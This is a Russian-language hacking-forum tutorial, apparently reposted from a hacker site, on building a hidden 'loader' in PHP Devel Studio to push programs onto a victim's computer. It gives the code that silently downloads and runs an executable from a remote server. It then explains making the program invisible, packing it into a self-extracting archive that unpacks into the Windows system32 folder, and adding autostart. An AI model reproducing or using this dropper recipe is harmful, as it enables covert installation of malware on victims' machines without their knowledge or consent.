Пособие для новичков. Некоторым персонам нужен хотябы самый простой лоадер. Например, мы хотим залить жертве несколько программ. Вот тут то и поможет этот самый лоадер.
Делать его мы будем на PHP Devel Studio 2.0. Скачать я думаю сможете сами.
И так, создадим новый проект и добавим на форму компоненты:
Функция (x1)
Загрузчик файлов (x1)
В настройках функции ставим галочку "Вызывать при старте".
Далее добавим функцие событие на "Выполнение"
Пишем
PHP highlight
//Измените данные как в примере
$url = 'http://site.ru/bild.exe'; //Программа для загрузки должна ОБЯЗАТЕЛЬНО называтся BILD.EXE
//ДАЛЬШЕ НИЧЕГО НЕ ИЗМЕНЯЙТЕ!
dir_delete("load");
dir_create("load");
c("download1")->url = $url;
c("download1")->start();
Измените ссылку на свою как в примере.
Теперь приступим к Загрузчику файлов
В настройках загрузчика поставьте галочку "Фоновый режим".
Добавим загрузчику событие на "Завершение"
Пишем
PHP highlight
Run(load/bild.exe, false);
app::close();
Теперь добавим загрузчику событие на "Ошибку"
Пишем
PHP highlight
app::close();
Наш лоадер почти готов! Теперь осталось его сделать невидимым.
Нажимаем F7
В пункте "Тип программы" выбираем "Тихий".
Все! Нажимаем F5 и собираем программу!
Конечно вес программы 8 мегабайт это не дело. Пакуем ее в SFX архив с распаковкой в %windir%\system32\ и запуском нашего лоадера
в архив можно добавить какой нибудь скрипт для автозагрузки, но это другая тема.
Не забываем Изменять ссылку на сервер. Можно использовать даже Народ.
Всем спасибо.
Источник: http://hackers-live.3dn.ru/news/primitivnyj_loader_v_php_deve_studio/2015-07-30-8 |